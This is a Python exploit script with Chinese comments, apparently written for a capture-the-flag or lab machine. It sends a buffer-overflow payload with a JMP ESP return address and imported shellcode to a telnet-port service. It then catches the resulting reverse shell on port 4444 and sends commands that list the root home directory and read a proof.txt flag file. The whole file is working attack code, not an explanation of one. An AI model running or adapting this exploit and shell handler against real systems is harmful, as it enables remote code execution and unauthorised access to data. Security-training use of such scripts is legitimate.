#!/usr/bin/python3
# -*- coding: utf-8 -*-
# listener.py - 接收反弹 shell 并自动发送命令
# 用法: 先运行此脚本，它会自动发 exploit 并等待连接

import socket
import time
import threading
import struct
import sys

sys.path.insert(0, '/tmp')
from sc_final import buf as shellcode

# --- 配置 ---
TARGET = '192.168.1.110'
LPORT = 4444
JMP_ESP = 0x625012d0


def send_exploit():
    """后台发送 BOF exploit"""
    time.sleep(1)
    payload = b'A' * 1902 + struct.pack('<I', JMP_ESP) + shellcode
    s = socket.socket()
    s.settimeout(10)
    s.connect((TARGET, 23))
    s.recv(1024)
    s.sendall(payload)
    s.close()
    print('[*] Exploit sent')


# 发送 exploit (独立线程，避免时序问题)
threading.Thread(target=send_exploit).start()

# 启动监听
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', LPORT))
s.listen(1)
s.settimeout(25)
print(f'[*] Listening on :{LPORT}')

try:
    conn, addr = s.accept()
    print(f'[+] CONNECTED from {addr}!')
    conn.settimeout(5)

    # 接收 Windows cmd.exe banner
    time.sleep(0.5)
    try:
        data = conn.recv(4096)
        print(f'[BANNER]\n{data.decode(errors="replace")}')
    except:
        pass

    # 依次发送命令 (cmd.exe 下可用的 Windows 命令)
    commands = [
        b'echo %USERNAME%\r\n',           # 查看 Linux 用户名 → root
        b'dir Z:\\root\\\r\n',            # 列出 root 家目录
        b'type Z:\\root\\proof.txt\r\n',  # 读取 root flag
    ]

    for cmd in commands:
        print(f'--- {cmd.decode().strip()} ---')
        conn.send(cmd)
        time.sleep(2)
        try:
            data = conn.recv(4096)
            print(data.decode(errors="replace"))
        except socket.timeout:
            print('(timeout)')

    conn.close()
    print('[+] Done')

except socket.timeout:
    print('[-] No connection received within 25s')

s.close()